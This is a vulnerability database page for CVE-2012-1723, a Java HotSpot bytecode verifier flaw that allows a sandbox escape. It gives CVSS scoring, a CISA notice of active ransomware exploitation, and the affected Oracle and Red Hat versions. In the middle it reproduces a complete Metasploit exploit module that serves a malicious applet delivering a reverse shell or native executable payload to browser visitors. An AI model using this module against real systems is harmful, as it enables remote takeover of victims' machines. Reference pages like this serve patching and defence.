CVE-2012-1723 : Detail

CVE-2012-1723

9.8
/
Critical
A01-Broken Access Control
96.44%V3
Network
2012-06-16
21h00 +00:00
2025-02-10
19h23 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 update 4 and earlier, 6 update 32 and earlier, 5 update 35 and earlier, and 1.4.2_37 and earlier allows remote attackers to affect confidentiality, integrity, and availability via unknown vectors related to Hotspot.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE Other No informations.
CWE-284 Improper Access Control
The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 9.8 CRITICAL CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

[email protected]
V2 10 AV:N/AC:L/Au:N/C:C/I:C/A:C [email protected]

CISA KEV (Known Exploited Vulnerabilities)

Vulnerability name : Oracle Java SE Runtime Environment (JRE) Arbitrary Code Execution Vulnerability

Required action : Apply updates per vendor instructions.

Known To Be Used in Ransomware Campaigns : Known

Added : 2022-03-02 23h00 +00:00

Action is due : 2022-03-23 23h00 +00:00

Important information
This CVE is identified as vulnerable and poses an active threat, according to the Catalog of Known Exploited Vulnerabilities (CISA KEV). The CISA has listed this vulnerability as actively exploited by cybercriminals, emphasizing the importance of taking immediate action to address this flaw. It is imperative to prioritize the update and remediation of this CVE to protect systems against potential cyberattacks.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 19717

Publication date : 2012-07-10 22h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::EXE include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ :javascript => false }) def initialize( info = {} ) super( update_info( info, 'Name' => 'Java Applet Field Bytecode Verifier Cache Remote Code Execution', 'Description' => %q{ This module exploits a vulnerability in HotSpot bytecode verifier where an invalid optimisation of GETFIELD/PUTFIELD/GETSTATIC/PUTSTATIC instructions leads to insufficent type checks. This allows a way to escape the JRE sandbox, and load additional classes in order to perform malicious operations. }, 'License' => MSF_LICENSE, 'Author' => [ 'Stefan Cornellius', # Discoverer 'mihi', # Vuln analysis 'littlelightlittlefire', # metasploit module 'juan vazquez', # merged code (overlapped) 'sinn3r' # merged code (overlapped) ], 'References' => [ ['CVE', '2012-1723'], ['OSVDB', '82877'], ['BID', '52161'], ['URL', 'http://schierlm.users.sourceforge.net/CVE-2012-1723.html'], ['URL', 'http://www.oracle.com/technetwork/topics/security/javacpujun2012-1515912.html'], ['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=829373'], ['URL', 'http://icedtea.classpath.org/hg/release/icedtea7-forest-2.1/hotspot/rev/253e7c32def9'], ['URL', 'http://icedtea.classpath.org/hg/release/icedtea7-forest-2.1/hotspot/rev/8f86ad60699b'] ], 'Platform' => [ 'java', 'win', 'osx', 'linux', 'solaris' ], 'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true }, 'Targets' => [ [ 'Generic (Java Payload)', { 'Platform' => ['java'], 'Arch' => ARCH_JAVA } ], [ 'Windows x86 (Native Payload)', { 'Platform' => 'win', 'Arch' => ARCH_X86 } ], [ 'Mac OS X PPC (Native Payload)', { 'Platform' => 'osx', 'Arch' => ARCH_PPC } ], [ 'Mac OS X x86 (Native Payload)', { 'Platform' => 'osx', 'Arch' => ARCH_X86 } ], [ 'Linux x86 (Native Payload)', { 'Platform' => 'linux', 'Arch' => ARCH_X86 } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jun 06 2012' )) end def exploit # load the static jar file path = File.join( Msf::Config.install_root, "data", "exploits", "CVE-2012-1723.jar" ) fd = File.open( path, "rb" ) @jar_data = fd.read(fd.stat.size) fd.close super end def on_request_uri( cli, request ) data = "" host = "" port = "" if not request.uri.match(/\.jar$/i) if not request.uri.match(/\/$/) send_redirect( cli, get_resource() + '/', '') return end print_status("Sending #{self.name}") payload = regenerate_payload( cli ) if not payload print_error("Failed to generate the payload." ) return end if target.name == 'Generic (Java Payload)' if datastore['LHOST'] jar = payload.encoded host = datastore['LHOST'] port = datastore['LPORT'] vprint_status("Sending java reverse shell") else port = datastore['LPORT'] datastore['RHOST'] = cli.peerhost vprint_status( "Java bind shell" ) end if jar print_status( "Generated jar to drop (#{jar.length} bytes)." ) jar = Rex::Text.to_hex( jar, prefix="" ) else print_error("Failed to generate the executable." ) return end else # NOTE: The EXE mixin automagically handles detection of arch/platform data = generate_payload_exe if data print_status("Generated executable to drop (#{data.length} bytes)." ) data = Rex::Text.to_hex( data, prefix="" ) else print_error("Failed to generate the executable." ) return end end send_response_html( cli, generate_html( data, jar, host, port ), { 'Content-Type' => 'text/html' } ) return end print_status("Sending jar") send_response( cli, generate_jar(), { 'Content-Type' => "application/octet-stream" } ) handler( cli ) end def generate_html( data, jar, host, port ) jar_name = rand_text_alpha(rand(6)+3) + ".jar" html = "<html><head></head>" html += "<body>" html += "<applet archive=\"#{jar_name}\" code=\"cve1723.Attacker\" width=\"1\" height=\"1\">" html += "<param name=\"data\" value=\"#{data}\"/>" if data html += "<param name=\"jar\" value=\"#{jar}\"/>" if jar html += "<param name=\"lhost\" value=\"#{host}\"/>" if host html += "</applet></body></html>" return html end def generate_jar() @jar_data end end

Products Mentioned

Configuraton 0

Oracle>>Jdk >> Version To (including) 1.4.2_37

Oracle>>Jdk >> Version 1.5.0

Oracle>>Jdk >> Version 1.5.0

Oracle>>Jdk >> Version 1.5.0

Oracle>>Jdk >> Version 1.5.0

Oracle>>Jdk >> Version 1.5.0

Oracle>>Jdk >> Version 1.5.0

Oracle>>Jdk >> Version 1.5.0

Oracle>>Jdk >> Version 1.5.0

Oracle>>Jdk >> Version 1.5.0

Oracle>>Jdk >> Version 1.5.0

Oracle>>Jdk >> Version 1.5.0

Oracle>>Jdk >> Version 1.5.0

Oracle>>Jdk >> Version 1.5.0

Oracle>>Jdk >> Version 1.5.0

Oracle>>Jdk >> Version 1.5.0

Oracle>>Jdk >> Version 1.5.0

Oracle>>Jdk >> Version 1.5.0

Oracle>>Jdk >> Version 1.5.0

Oracle>>Jdk >> Version 1.5.0

Oracle>>Jdk >> Version 1.5.0

Oracle>>Jdk >> Version 1.5.0

Oracle>>Jdk >> Version 1.5.0

Oracle>>Jdk >> Version 1.5.0

Oracle>>Jdk >> Version 1.5.0

Oracle>>Jdk >> Version 1.5.0

Oracle>>Jdk >> Version 1.5.0

Oracle>>Jdk >> Version 1.5.0

Oracle>>Jdk >> Version 1.5.0

Oracle>>Jdk >> Version 1.5.0

Oracle>>Jdk >> Version 1.5.0

Oracle>>Jdk >> Version 1.6.0

Oracle>>Jdk >> Version 1.6.0

Oracle>>Jdk >> Version 1.6.0

Oracle>>Jdk >> Version 1.6.0

Oracle>>Jdk >> Version 1.6.0

Oracle>>Jdk >> Version 1.6.0

Oracle>>Jdk >> Version 1.6.0

Oracle>>Jdk >> Version 1.6.0

Oracle>>Jdk >> Version 1.6.0

Oracle>>Jdk >> Version 1.6.0

Oracle>>Jdk >> Version 1.6.0

Oracle>>Jdk >> Version 1.6.0

Oracle>>Jdk >> Version 1.6.0

Oracle>>Jdk >> Version 1.6.0

Oracle>>Jdk >> Version 1.6.0

Oracle>>Jdk >> Version 1.6.0

Oracle>>Jdk >> Version 1.6.0

Oracle>>Jdk >> Version 1.6.0

Oracle>>Jdk >> Version 1.6.0

Oracle>>Jdk >> Version 1.6.0

Oracle>>Jdk >> Version 1.6.0

Oracle>>Jdk >> Version 1.6.0

Oracle>>Jdk >> Version 1.6.0

Oracle>>Jdk >> Version 1.6.0

Oracle>>Jdk >> Version 1.6.0

Oracle>>Jdk >> Version 1.6.0

Oracle>>Jdk >> Version 1.6.0

Oracle>>Jdk >> Version 1.6.0

Oracle>>Jdk >> Version 1.7.0

Oracle>>Jdk >> Version 1.7.0

Oracle>>Jdk >> Version 1.7.0

Oracle>>Jdk >> Version 1.7.0

Oracle>>Jdk >> Version 1.7.0

Oracle>>Jre >> Version To (including) 1.4.2_37

Oracle>>Jre >> Version 1.5.0

Oracle>>Jre >> Version 1.5.0

Oracle>>Jre >> Version 1.5.0

Oracle>>Jre >> Version 1.5.0

Oracle>>Jre >> Version 1.5.0

Oracle>>Jre >> Version 1.5.0

Oracle>>Jre >> Version 1.5.0

Oracle>>Jre >> Version 1.5.0

Oracle>>Jre >> Version 1.5.0

Oracle>>Jre >> Version 1.5.0

Oracle>>Jre >> Version 1.5.0

Oracle>>Jre >> Version 1.5.0

Oracle>>Jre >> Version 1.5.0

Oracle>>Jre >> Version 1.5.0

Oracle>>Jre >> Version 1.5.0

Oracle>>Jre >> Version 1.5.0

Oracle>>Jre >> Version 1.5.0

Oracle>>Jre >> Version 1.5.0

Oracle>>Jre >> Version 1.5.0

Oracle>>Jre >> Version 1.5.0

Oracle>>Jre >> Version 1.5.0

Oracle>>Jre >> Version 1.5.0

Oracle>>Jre >> Version 1.5.0

Oracle>>Jre >> Version 1.5.0

Oracle>>Jre >> Version 1.5.0

Oracle>>Jre >> Version 1.5.0

Oracle>>Jre >> Version 1.5.0

Oracle>>Jre >> Version 1.5.0

Oracle>>Jre >> Version 1.5.0

Oracle>>Jre >> Version 1.5.0

Oracle>>Jre >> Version 1.6.0

Oracle>>Jre >> Version 1.6.0

Oracle>>Jre >> Version 1.6.0

Oracle>>Jre >> Version 1.6.0

Oracle>>Jre >> Version 1.6.0

Oracle>>Jre >> Version 1.6.0

Oracle>>Jre >> Version 1.6.0

Oracle>>Jre >> Version 1.6.0

Oracle>>Jre >> Version 1.6.0

Oracle>>Jre >> Version 1.6.0

Oracle>>Jre >> Version 1.6.0

Oracle>>Jre >> Version 1.6.0

Oracle>>Jre >> Version 1.6.0

Oracle>>Jre >> Version 1.6.0

Oracle>>Jre >> Version 1.6.0

Oracle>>Jre >> Version 1.6.0

Oracle>>Jre >> Version 1.6.0

Oracle>>Jre >> Version 1.6.0

Oracle>>Jre >> Version 1.6.0

Oracle>>Jre >> Version 1.6.0

Oracle>>Jre >> Version 1.6.0

Oracle>>Jre >> Version 1.6.0

Oracle>>Jre >> Version 1.6.0

Oracle>>Jre >> Version 1.6.0

Oracle>>Jre >> Version 1.6.0

Oracle>>Jre >> Version 1.6.0

Oracle>>Jre >> Version 1.7.0

Oracle>>Jre >> Version 1.7.0

Oracle>>Jre >> Version 1.7.0

Oracle>>Jre >> Version 1.7.0

Oracle>>Jre >> Version 1.7.0

Configuraton 0

Redhat>>Icedtea6 >> Version To (excluding) 1.10.8

Redhat>>Icedtea6 >> Version From (including) 1.11.0 To (excluding) 1.11.3

    Redhat>>Enterprise_linux_desktop >> Version 5.0

    Redhat>>Enterprise_linux_desktop >> Version 6.0

    Redhat>>Enterprise_linux_eus >> Version 6.2

    Redhat>>Enterprise_linux_server >> Version 5.0

    Redhat>>Enterprise_linux_server >> Version 6.0

    Redhat>>Enterprise_linux_server_aus >> Version 6.2

    Redhat>>Enterprise_linux_workstation >> Version 5.0

    Redhat>>Enterprise_linux_workstation >> Version 6.0

    References

    http://security.gentoo.org/glsa/glsa-201406-32.xml
    Tags : vendor-advisory, x_refsource_GENTOO
    http://rhn.redhat.com/errata/RHSA-2012-0734.html
    Tags : vendor-advisory, x_refsource_REDHAT
    http://marc.info/?l=bugtraq&m=134496371727681&w=2
    Tags : vendor-advisory, x_refsource_HP
    http://www.securityfocus.com/bid/53960
    Tags : vdb-entry, x_refsource_BID
    http://www.mandriva.com/security/advisories?name=MDVSA-2012:095
    Tags : vendor-advisory, x_refsource_MANDRIVA
    http://secunia.com/advisories/51080
    Tags : third-party-advisory, x_refsource_SECUNIA
    http://marc.info/?l=bugtraq&m=134496371727681&w=2
    Tags : vendor-advisory, x_refsource_HP